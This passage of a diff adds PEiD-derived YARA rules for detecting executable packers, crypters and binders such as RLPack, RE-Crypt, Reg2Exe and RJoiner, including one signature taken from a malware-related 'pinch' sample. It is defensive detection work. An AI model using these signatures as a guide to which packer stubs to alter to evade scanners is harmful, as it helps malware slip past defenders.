+        $a = {60 E8 00 00 00 00 5D 81 ED F3 1D 40 00 B9 7B 09 00 00 8D BD 3B 1E 40 00 8B F7 61 60 E8 00 00 00 00 5D 55 81 04 24 0A 00 00 00 C3 8B F5 81 C5 ?? ?? 00 00 89 6D 34 89 75 38 8B 7D 38 81 E7 00 FF FF FF 81 C7 48 00 00 00 47 03 7D 60 8B 4D 5C 83 F9 00 7E 0F 8B}
+    condition:
+        $a
+}
+
+rule PEiD_01942_RE_Crypt_v0_7x____Crudd__RET_
+{
+    meta:
+        description = "[RE-Crypt v0.7x -> Crudd [RET]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 55 81 04 24 0A 00 00 00 C3 8B F5 81 C5 ?? ?? 00 00 89 6D 34 89 75 38 8B 7D 38 81 E7 00 FF FF FF 81 C7 48 00 00 00 47 03 7D 60 8B 4D 5C 83 F9 00 7E 0F 8B 17 33 55 58 89 17 83 C7 04 83 C1 FC EB EC 8B}
+    condition:
+        $a
+}
+
+rule PEiD_01943_RE_Crypt_v0_7x____Crudd__RET_
+{
+    meta:
+        description = "[RE-Crypt v0.7x -> Crudd [RET]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED F3 1D 40 00 B9 7B 09 00 00 8D BD 3B 1E 40 00 8B F7 61 60 E8 00 00 00 00 5D 55 81 04 24 0A 00 00 00 C3 8B F5 81 C5 ?? ?? 00 00 89 6D 34 89 75 38 8B 7D 38 81 E7 00 FF FF FF 81 C7 48 00 00 00 47 03 7D 60 8B 4D 5C 83 F9 00 7E 0F 8B 17 33 55 58 89 17 83 C7 04 83 C1 FC EB EC}
+    condition:
+        $a
+}
+
+rule PEiD_01944_REALbasic_
+{
+    meta:
+        description = "[REALbasic]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 50 ?? ?? ?? ?? ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_01945_REC_v0_32_
+{
+    meta:
+        description = "[REC v0.32]"
+        ep_only = "true"
+    strings:
+        $a = {06 1E 52 B8 ?? ?? 1E CD 21 86 E0 3D}
+    condition:
+        $a
+}
+
+rule PEiD_01946_REC_v0_34__3_
+{
+    meta:
+        description = "[REC v0.34 [3]"
+        ep_only = "true"
+    strings:
+        $a = {06 1E B4 30 CD 21 3C 02 73 ?? 33 C0 06 50 CB}
+    condition:
+        $a
+}
+rule PEiD_01947_REC__C0ded_by_ROSE_
+{
+    meta:
+        description = "[REC, C0ded by ROSE]"
+        ep_only = "true"
+    strings:
+        $a = {06 1E 0E 0E 07 1F B4 30 CD 21 86 E0 3D 00 03 73 ?? CD 20 EB}
+    condition:
+        $a
+}
+
+rule PEiD_01948_REC_Small_v1_02_
+{
+    meta:
+        description = "[REC.Small v1.02]"
+        ep_only = "true"
+    strings:
+        $a = {8C D8 1E E8 ?? ?? 83 ?? ?? 5D B9 ?? ?? 81 ?? ?? ?? 40 8E D8 2B DB B2 ?? ?? ?? FE C2 43 83}
+    condition:
+        $a
+}
+
+rule PEiD_01949_Reflexive_Arcade_Wrapper_
+{
+    meta:
+        description = "[Reflexive Arcade Wrapper]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 98 68 42 00 68 14 FA 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 F8 50 42 00 33 D2 8A D4 89 15 3C E8 42 00 8B C8 81 E1 FF 00 00 00 89 0D 38 E8 42 00 C1 E1 08 03 CA 89 0D 34 E8 42 00 C1 E8 10 A3 30 E8}
+    condition:
+        $a
+}
+
+rule PEiD_01950_Reflexive_Arcade_Wrapper_
+{
+    meta:
+        description = "[Reflexive Arcade Wrapper]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 98 68 42 00 68 14 FA 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 F8 50 42 00 33 D2 8A D4 89 15 3C E8 42 00 8B C8 81 E1 FF 00 00 00 89 0D 38 E8 42 00 C1 E1 08 03 CA 89 0D 34 E8 42 00 C1 E8 10 A3 30 E8 42 00 33 F6 56 E8 58 43 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 23 40 00 00 FF 15 18 51 42 00 A3 44 FE 42 00 E8 E1 3E 00 00 A3 78 E8 42 00 E8 8A 3C 00 00 E8 CC 3B 00 00 E8 3E F5 FF FF 89 75 D0 8D 45 A4 50 FF 15 14 51 42 00 E8 5D 3B 00 00 89 45 9C F6 45 D0 01 74 06 0F B7 45 D4 EB 03 6A 0A 58 50 FF 75 9C 56 56 FF 15 10 51 42 00 50 E8 0D 6E FE FF 89 45 A0 50 E8 2C F5 FF FF 8B 45 EC 8B 08 8B 09 89 4D 98 50 51 E8 9B 39 00 00 59 59 C3 8B 65 E8 FF 75 98 E8 1E F5 FF FF 83 3D 80 E8 42 00 01 75 05 E8 F3 43 00 00 FF 74 24 04 E8 23 44 00 00 68 FF 00 00 00 FF 15 B0 B8 42 00 59 59 C3 83 3D 80 E8 42 00 01 75 05 E8 CE 43 00 00 FF 74 24 04 E8 FE 43 00 00 59 68 FF}
+    condition:
+        $a
+}
+
+rule PEiD_01951_Reg2Exe_2_20_2_21___by_Jan_Vorel_
+{
+    meta:
+        description = "[Reg2Exe 2.20/2.21 - by Jan Vorel]"
+        ep_only = "true"
+    strings:
+        $a = {6A 00 E8 7D 12 00 00 A3 A0 44 40 00 E8 79 12 00 00 6A 0A 50 6A 00 FF 35 A0 44 40 00 E8 0F 00 00 00 50 E8 69 12 00 00 CC CC CC CC CC CC CC CC CC 68 2C 02 00 00 68 00 00 00 00 68 B0 44 40 00 E8 3A 12 00 00 83 C4 0C 8B 44 24 04 A3 B8 44 40 00 68 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01952_Reg2Exe_2_20_2_21___by_Jan_Vorel_
+{
+    meta:
+        description = "[Reg2Exe 2.20/2.21 - by Jan Vorel]"
+        ep_only = "true"
+    strings:
+        $a = {6A 00 E8 7D 12 00 00 A3 A0 44 40 00 E8 79 12 00 00 6A 0A 50 6A 00 FF 35 A0 44 40 00 E8 0F 00 00 00 50 E8 69 12 00 00 CC CC CC CC CC CC CC CC CC 68 2C 02 00 00 68 00 00 00 00 68 B0 44 40 00 E8 3A 12 00 00 83 C4 0C 8B 44 24 04 A3 B8 44 40 00 68 00 00 00 00 68 A0 0F 00 00 68 00 00 00 00 E8 32 12 00 00 A3 B0 44 40 00 68 F4 01 00 00 68 BC 44 40 00 FF 35 B8 44 40 00 E8 1E 12 00 00 B8 BC 44 40 00 89 C1 8A 30 40 80 FE 5C 75 02 89 C1 80 FE 00 75 F1 C6 01 00 E8 EC 18 00 00 E8 28 16 00 00 E8 4A 12 00 00 68 00 FA 00 00 68 08 00 00 00 FF 35 B0 44 40 00 E8 E7 11 00 00 A3 B4 44 40 00 8B 15 D4 46 40 00 E8 65 0A 00 00 BB 00 00 10 00 B8 01 00 00 00 E8 72 0A 00 00 74 09 C7 00 01 00 00 00 83 C0 04 A3 D4 46 40 00 FF 35 B4 44 40 00 E8 26 05 00 00 8D 0D B8 46 40 00 5A E8 CF 0F 00 00 FF 35 B4 44 40 00 FF 35 B8 46 40 00 E8 EE 06 00 00 8D 0D B4 46 40 00 5A E8}
+    condition:
+        $a
+}
+
+rule PEiD_01953_Reg2Exe_2_22_2_23___by_Jan_Vorel_
+{
+    meta:
+        description = "[Reg2Exe 2.22/2.23 - by Jan Vorel]"
+        ep_only = "true"
+    strings:
+        $a = {6A 00 E8 2F 1E 00 00 A3 C4 35 40 00 E8 2B 1E 00 00 6A 0A 50 6A 00 FF 35 C4 35 40 00 E8 07 00 00 00 50 E8 1B 1E 00 00 CC 68 48 00 00 00 68 00 00 00 00 68 C8 35 40 00 E8 76 16 00 00 83 C4 0C 8B 44 24 04 A3 CC 35 40 00 68 00 00 00 00 68 A0 0F 00 00 68 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01954_Reg2Exe_2_22_2_23___by_Jan_Vorel_
+{
+    meta:
+        description = "[Reg2Exe 2.22/2.23 - by Jan Vorel]"
+        ep_only = "true"
+    strings:
+        $a = {6A 00 E8 2F 1E 00 00 A3 C4 35 40 00 E8 2B 1E 00 00 6A 0A 50 6A 00 FF 35 C4 35 40 00 E8 07 00 00 00 50 E8 1B 1E 00 00 CC 68 48 00 00 00 68 00 00 00 00 68 C8 35 40 00 E8 76 16 00 00 83 C4 0C 8B 44 24 04 A3 CC 35 40 00 68 00 00 00 00 68 A0 0F 00 00 68 00 00 00 00 E8 EC 1D 00 00 A3 C8 35 40 00 E8 62 1D 00 00 E8 92 1A 00 00 E8 80 16 00 00 E8 13 14 00 00 68 01 00 00 00 68 08 36 40 00 68 00 00 00 00 8B 15 08 36 40 00 E8 71 3F 00 00 B8 00 00 10 00 BB 01 00 00 00 E8 82 3F 00 00 FF 35 48 31 40 00 B8 00 01 00 00 E8 0D 13 00 00 8D 0D EC 35 40 00 5A E8 F2 13 00 00 68 00 01 00 00 FF 35 EC 35 40 00 E8 84 1D 00 00 A3 F4 35 40 00 FF 35 48 31 40 00 FF 35 F4 35 40 00 FF 35 EC 35 40 00 E8}
+    condition:
+        $a
+}
+
+rule PEiD_01955_Reg2Exe_2_24___by_Jan_Vorel_
+{
+    meta:
+        description = "[Reg2Exe 2.24 - by Jan Vorel]"
+        ep_only = "true"
+    strings:
+        $a = {6A 00 E8 CF 20 00 00 A3 F4 45 40 00 E8 CB 20 00 00 6A 0A 50 6A 00 FF 35 F4 45 40 00 E8 07 00 00 00 50 E8 BB 20 00 00 CC 68 48 00 00 00 68 00 00 00 00 68 F8 45 40 00 E8 06 19 00 00 83 C4 0C 8B 44 24 04 A3 FC 45 40 00 68 00 00 00 00 68 A0 0F 00 00 68 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01956_Reg2Exe_2_24___by_Jan_Vorel_
+{
+    meta:
+        description = "[Reg2Exe 2.24 - by Jan Vorel]"
+        ep_only = "true"
+    strings:
+        $a = {6A 00 E8 CF 20 00 00 A3 F4 45 40 00 E8 CB 20 00 00 6A 0A 50 6A 00 FF 35 F4 45 40 00 E8 07 00 00 00 50 E8 BB 20 00 00 CC 68 48 00 00 00 68 00 00 00 00 68 F8 45 40 00 E8 06 19 00 00 83 C4 0C 8B 44 24 04 A3 FC 45 40 00 68 00 00 00 00 68 A0 0F 00 00 68 00 00 00 00 E8 8C 20 00 00 A3 F8 45 40 00 E8 02 20 00 00 E8 32 1D 00 00 E8 20 19 00 00 E8 A3 16 00 00 68 01 00 00 00 68 38 46 40 00 68 00 00 00 00 8B 15 38 46 40 00 E8 71 4F 00 00 B8 00 00 10 00 BB 01 00 00 00 E8 82 4F 00 00 FF 35 48 41 40 00 B8 00 01 00 00 E8 9D 15 00 00 8D 0D 1C 46 40 00 5A E8 82 16 00 00 68 00 01 00 00 FF 35 1C 46 40 00 E8 24 20 00 00 A3 24 46 40 00 FF 35 48 41 40 00 FF 35 24 46 40 00 FF 35 1C 46 40 00 E8 DC 10 00 00 8D 0D 14 46 40 00 5A E8 4A 16}
+    condition:
+        $a
+}
+
+rule PEiD_01957_Reg2Exe_2_25___by_Jan_Vorel_
+{
+    meta:
+        description = "[Reg2Exe 2.25 - by Jan Vorel]"
+        ep_only = "true"
+    strings:
+        $a = {68 68 00 00 00 68 00 00 00 00 68 70 7D 40 00 E8 AE 20 00 00 83 C4 0C 68 00 00 00 00 E8 AF 52 00 00 A3 74 7D 40 00 68 00 00 00 00 68 00 10 00 00 68 00 00 00 00 E8 9C 52 00 00 A3 70 7D 40 00 E8 24 50 00 00 E8 E2 48 00 00 E8 44 34 00 00 E8 54 28 00 00 E8 98}
+    condition:
+        $a
+}
+
+rule PEiD_01958_Reg2Exe_2_25___by_Jan_Vorel_
+{
+    meta:
+        description = "[Reg2Exe 2.25 - by Jan Vorel]"
+        ep_only = "true"
+    strings:
+        $a = {68 68 00 00 00 68 00 00 00 00 68 70 7D 40 00 E8 AE 20 00 00 83 C4 0C 68 00 00 00 00 E8 AF 52 00 00 A3 74 7D 40 00 68 00 00 00 00 68 00 10 00 00 68 00 00 00 00 E8 9C 52 00 00 A3 70 7D 40 00 E8 24 50 00 00 E8 E2 48 00 00 E8 44 34 00 00 E8 54 28 00 00 E8 98 27 00 00 E8 93 20 00 00 68 01 00 00 00 68 D0 7D 40 00 68 00 00 00 00 8B 15 D0 7D 40 00 E8 89 8F 00 00 B8 00 00 10 00 68 01 00 00 00 E8 9A 8F 00 00 FF 35 A4 7F 40 00 68 00 01 00 00 E8 3A 23 00 00 8D 0D A8 7D 40 00 5A E8 5E 1F 00 00 FF 35 A8 7D 40 00 68 00 01 00 00 E8 2A 52 00 00 A3 B4 7D 40 00 FF 35 A4 7F 40 00 FF 35 B4 7D 40 00 FF 35 A8 7D 40 00 E8 5C 0C 00 00 8D 0D A0 7D 40 00 5A E8 26 1F 00 00 FF 35}
+    condition:
+        $a
+}
+
+rule PEiD_01959_ReversingLabsProtector_0_7_4_beta____Ap0x_
+{
+    meta:
+        description = "[ReversingLabsProtector 0.7.4 beta -> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {68 00 00 41 00 E8 01 00 00 00 C3 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01960_RJcrush_v1_00_
+{
+    meta:
+        description = "[RJcrush v1.00]"
+        ep_only = "true"
+    strings:
+        $a = {06 FC 8C C8 BA ?? ?? 03 D0 52 BA ?? ?? 52 BA ?? ?? 03 C2 8B D8 05 ?? ?? 8E DB 8E C0 33 F6 33 FF B9}
+    condition:
+        $a
+}
+
+rule PEiD_01961_RJoiner_1_2_by_Vaska__25_03_2007_16_58__
+{
+    meta:
+        description = "[RJoiner 1.2 by Vaska (25.03.2007 16:58)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 0C 02 00 00 8D 85 F4 FD FF FF 56 50 68 04 01 00 00 FF 15 14 10 40 00 90 8D 85 F4 FD FF FF 50 FF 15 10 10 40 00 90 BE 00 20 40 00 90 83 3E FF 0F 84 84 00 00 00 53 57 33 FF 8D 46}
+    condition:
+        $a
+}
+
+rule PEiD_01962_RJoiner_1_2a____Vaska_
+{
+    meta:
+        description = "[RJoiner 1.2a -> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 0C 01 00 00 8D 85 F4 FE FF FF 56 50 68 04 01 00 00 FF 15 0C 10 40 00 94 90 94 8D 85 F4 FE FF FF 50 FF 15 08 10 40 00 94 90 94 BE 00 20 40 00 94 90 94 83 3E FF 74 7D 53 57 33 DB 8D 7E 04 94 90 94 53 68 80 00 00 00 6A 02 53 6A 01 68 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01963_RJoiner_1_2a____Vaska_
+{
+    meta:
+        description = "[RJoiner 1.2a -> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 0C 01 00 00 8D 85 F4 FE FF FF 56 50 68 04 01 00 00 FF 15 0C 10 40 00 94 90 94 8D 85 F4 FE FF FF 50 FF 15 08 10 40 00 94 90 94 BE 00 20 40 00 94 90 94 83 3E FF 74 7D 53 57 33 DB 8D 7E 04 94 90 94 53 68 80 00 00 00 6A 02 53 6A 01 68 00 00 00 C0 57 FF 15 04 10 40 00 89 45 F8 94 90 94 8B 06 8D 74 06 04 94 90 94 8D 45 FC 53 50 8D 46 04 FF 36 50 FF 75 F8 FF 15 00 10 40 00 94 90 94 FF 75 F8 FF 15 10 10 40 00 94 90 94 8D 85 F4 FE FF FF 6A 0A 50 53 57 68 20 10 40 00 53 FF 15 18 10 40 00 94 90 94 8B 06 8D 74 06 04 94 90 94 83 3E FF 75 89 5F 5B 33 C0 5E C9 C2 10 00 CC CC 24 11}
+    condition:
+        $a
+}
+
+rule PEiD_01964_RJoiner_by_Vaska__Sign_from_pinch_25_03_2007_17_00__
+{
+    meta:
+        description = "[RJoiner by Vaska (Sign from pinch 25.03.2007 17:00)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 FD FF FF 6A 00 E8 0C 00 00 00 FF 25 6C 10 40 00 FF 25 70 10 40 00 FF 25 74 10 40 00 FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10}
+    condition:
+        $a
+}
+
+rule PEiD_01965_RLP_0_7_3beta____ap0x__h__
+{
+    meta:
+        description = "[RLP 0.7.3beta -> ap0x (h)]"
+        ep_only = "false"
+    strings:
+        $a = {60 8B DD E8 00 00 00 00 5D 95 32 C0 95 89 9D 80 00 00 00 B8 42 31 40 00 BB 41 30 40 00 2B C3 03 C5 33 D2 8A 10 40 B9 ?? ?? 00 00 8B F9 30 10 8A 10 40 49 75 F8 64 EF 86 3D 30 00 00 0F B9 FF 4B 89 52 5C 4C BD 77 C2 0C CE 88 4E 2D E8 00 00 00 5D 0D DB 5E 56}
+    condition:
+        $a
+}
+rule PEiD_01966_RLP_V0_7_3_beta____ap0x___Sign_by_fly_
+{
+    meta:
+        description = "[RLP V0.7.3.beta -> ap0x ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {2E 72 6C 70 00 00 00 00 00 50 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 E0}
+    condition:
+        $a
+}
+
+rule PEiD_01967_RLP_v0_7_3beta____ap0x__h__
+{
+    meta:
+        description = "[RLP v0.7.3beta -> ap0x (h)]"
+        ep_only = "false"
+    strings:
+        $a = {60 8B DD E8 00 00 00 00 5D 95 32 C0 95 89 9D 80 00 00 00 B8 42 31 40 00 BB 41 30 40 00 2B C3 03 C5 33 D2 8A 10 40 B9 ?? ?? 00 00 8B F9 30 10 8A 10 40 49 75 F8 64 EF 86 3D 30 00 00 0F B9 FF 4B 89 52 5C 4C BD 77 C2 0C CE 88 4E 2D E8 00 00 00 5D 0D DB 5E 56 41 87 FC 0F F3 05 40 81 68 4B 93 71 40 BB 87 3C 40 40 8B 88 06 75 70 40 40 8B BB B3 43 C4 8F 93 2B F3 4A 88 06 07 30 F5 EA 2A 35 F0 4B 8A C3 07 C1 C6 02 C4 34 C0 74 74 32 02 C4 45 0B 3C 96 BE 0A 82 C3 DE 36 A9 7E 5A 51 A6 BC 63 A8 66 CB 30 58 20 8C CC 85 53 9F C1 E4 10 80 11 20 1E 48 D2 E8 F7 28 5C 26 89 5C 94 89 5A F8 1C 0B 74 7E 33 4E 9B 29 56 F2 2B 84 42 8A 95 16 76 64 08 7B 70 8F A0 0B A8 3A C1 C7 B5 3E D9 70}
+    condition:
+        $a
+}
+
+rule PEiD_01968_RLPack_____Ap0x_
+{
+    meta:
+        description = "[RLPack --> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 2C 0A 00 00 8D 9D 22 02 00 00 33 FF E8 83 01 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 CD 09 00 00 89 85 14 0A 00 00 EB 14 60 FF B5 14 0A}
+    condition:
+        $a
+}
+
+rule PEiD_01969_RLPack_____Ap0x_
+{
+    meta:
+        description = "[RLPack --> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 5A 0A 00 00 8D 9D 40 02 00 00 33 FF E8 83 01 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 EB 09 00 00 89 85 3A 0A 00 00 EB 14 60 FF B5 3A 0A}
+    condition:
+        $a
+}
+
+rule PEiD_01970_RLPack_____Ap0x_
+{
+    meta:
+        description = "[RLPack --> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 EB 03 0C 00 00 EB 03 0C 00 00 8D B5 CB 22 00 00 8D 9D F0 02 00 00 33 FF E8 47 02 00 00 EB 03 15 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 9B 0A}
+    condition:
+        $a
+}
+
+rule PEiD_01971_RLPack____Ap0x_
+{
+    meta:
+        description = "[RLPack -> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 2C 0A 00 00 8D 9D 22 02 00 00 33 FF E8 ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 CD 09 00 00 89 85 ?? ?? ?? ?? EB 14 60 FF B5 14 0A}
+    condition:
+        $a
+}
+
+rule PEiD_01972_RLPack____Ap0x_
+{
+    meta:
+        description = "[RLPack -> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 5A 0A 00 00 8D 9D 40 02 00 00 33 FF E8 ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 EB 09 00 00 89 85 ?? ?? ?? ?? EB 14 60 FF B5 3A 0A}
+    condition:
+        $a
+}
+
+rule PEiD_01973_RLPack____Ap0x_
+{
+    meta:
+        description = "[RLPack -> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 8D B5 CB 22 00 00 8D 9D F0 02 00 00 33 FF E8 ?? ?? ?? ?? EB 03 ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 9B 0A}
+    condition:
+        $a
+}
+
+rule PEiD_01974_RLPack_1_0_beta____ap0x__h__
+{
+    meta:
+        description = "[RLPack 1.0 beta -> ap0x (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8D 64 24 04 8B 6C 24 FC 8D B5 4C 02 00 00 8D 9D 13 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 F9 01 00 00 89 85 48 02 00 00 5B FF B5 48 02 00 00 56 FF D3 83 C4 08 8B B5 48 02 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 83 C0 04 89 85 44 02 00 00 EB 7A 56 FF 95 F1 01 00 00 89 85 40 02 00 00 8B C6 EB 4F 8B 85 44 02 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 44 02 00 00 C7 00 20 20 20 00 EB 06 FF B5 44 02 00 00 FF B5 40 02 00 00 FF 95 F5 01 00 00 89 07 83 C7 04 8B 85 44 02 00 00 EB 01 40 80 38 00 75 FA 40 89 85 44 02 00 00 80 38 00 75 AC EB 01 46 80 3E 00 75 FA 46 40 8B 38 83 C0 04 89 85 44 02 00 00 80 3E 01 75 81 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 48 02 00 00 FF 95 FD 01 00 00 61 68 ?? ?? ?? ?? C3 60 8B 74 24 24 8B 7C}
+    condition:
+        $a
+}
+
+rule PEiD_01975_RLPack_1_0_beta____ap0x_
+{
+    meta:
+        description = "[RLPack 1.0 beta -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8D 64 24 04 8B 6C 24 FC 8D B5 4C 02 00 00 8D 9D 13 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 8D 74 37 04 53 6A 40 68 00 10 00 00 68}
+    condition:
+        $a
+}
+
+rule PEiD_01976_RLPack_1_0_beta____ap0x_
+{
+    meta:
+        description = "[RLPack 1.0 beta -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8D 64 24 04 8B 6C 24 FC 8D B5 4C 02 00 00 8D 9D 13 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 F9 01 00 00 89 85 48 02 00 00 5B FF B5}
+    condition:
+        $a
+}
+
+rule PEiD_01977_RLPack_1_1_BasicEdition____ap0x_
+{
+    meta:
+        description = "[RLPack 1.1 BasicEdition -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 4A 02 00 00 8D 9D 11 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 8D 74 37 04 53 6A 40 68 00 10 00 00 68}
+    condition:
+        $a
+}
+
+rule PEiD_01978_RLPack_1_16__aPLib_compression_____ap0x__h__
+{
+    meta:
+        description = "[RLPack 1.16 (aPLib compression) -> ap0x (h)]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 53 03 00 00 8D 9D 02 02 00 00 33 FF E8 45 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 E8 02 00 00 89 85 4F 03 00 00 5B FF B5 4F 03 00 00 56 FF D3 83 C4 08 8B B5 4F 03 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 E8 CD 00 00 00 83 C0 04 89 85 4B 03 00 00 E9 93 00 00 00 56 FF 95 E0 02 00 00 85 C0 0F 84 AE 00 00 00 89 85 47 03 00 00 8B C6 EB 5B 8B 85 4B 03 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 4B 03 00 00 C7 00 20 20 20 00 EB 06 FF B5 4B 03 00 00 FF B5 47 03 00 00 FF 95 E4 02 00 00 85 C0 74 6B 89 07 83 C7 04 8B}
+    condition:
+        $a
+}
+
+rule PEiD_01979_RLPack_1_16__LZMA_compression_____ap0x__h__
+{
+    meta:
+        description = "[RLPack 1.16 (LZMA compression) -> ap0x (h)]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 5A 0A 00 00 8D 9D 40 02 00 00 33 FF E8 83 01 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 EB 09 00 00 89 85 3A 0A 00 00 EB 14 60 FF B5 3A 0A 00 00 FF 34 37 FF 74 37 04 FF D3 61 83 C7 08 83 3C 37 00 75 E6 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 EB 09 00 00 89 85 56 0A 00 00 5B 60 FF B5 3A 0A 00 00 56 FF B5 56 0A 00 00 FF D3 61 8B B5 56 0A 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 E8 E7 00 00 00 83 C0 04 89 85 52 0A 00 00 E9 97 00 00 00 56 FF 95 E3 09 00 00 89 85 4E 0A 00 00 85 C0 0F 84 C2}
+    condition:
+        $a
+}
+
+rule PEiD_01980_RLPack_1_17__
+{
+    meta:
+        description = "[RLPack 1.17+]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? 00 00 8D 9D ?? ?? 00 00 33 FF E8 ?? ?? ?? ?? EB 0F FF 74 37 04 FF 34 37 FF D3}
+    condition:
+        $a
+}
+
+rule PEiD_01981_RLPack_1_18__aPlib_0_43_____ap0x_
+{
+    meta:
+        description = "[RLPack 1.18 (aPlib 0.43) -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 ?? 83 C7 ?? 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83 BD 0A 04 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 A7 03 00 00 89 85 16 04 00 00 5B FF B5 16 04 00 00 56 FF D3 83 C4 ?? 8B B5 16 04 00 00 8B C6 EB 01}
+    condition:
+        $a
+}
+rule PEiD_01982_RLPack_1_18__LZMA_4_30_____ap0x_
+{
+    meta:
+        description = "[RLPack 1.18 (LZMA 4.30) -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 21 0B 00 00 8D 9D FF 02 00 00 33 FF E8 9F 01 00 00 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A 00 00 FF 34 37 FF 74 37 04 FF D3 61 83 C7 ?? 83 3C 37 00 75 E6 83 BD 0D 0B 00 00 00 74 0E 83 BD 11 0B 00 00 00 74 05 E8 F6 01 00 00 8D 74 37 04 53 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 AA 0A 00 00 89 85 1D 0B 00 00 5B 60 FF B5 F9 0A 00 00 56 FF B5 1D 0B 00 00 FF D3 61 8B B5 1D 0B 00 00 8B C6 EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_01983_RLPack_1_18_Dll__aPlib_0_43_____ap0x_
+{
+    meta:
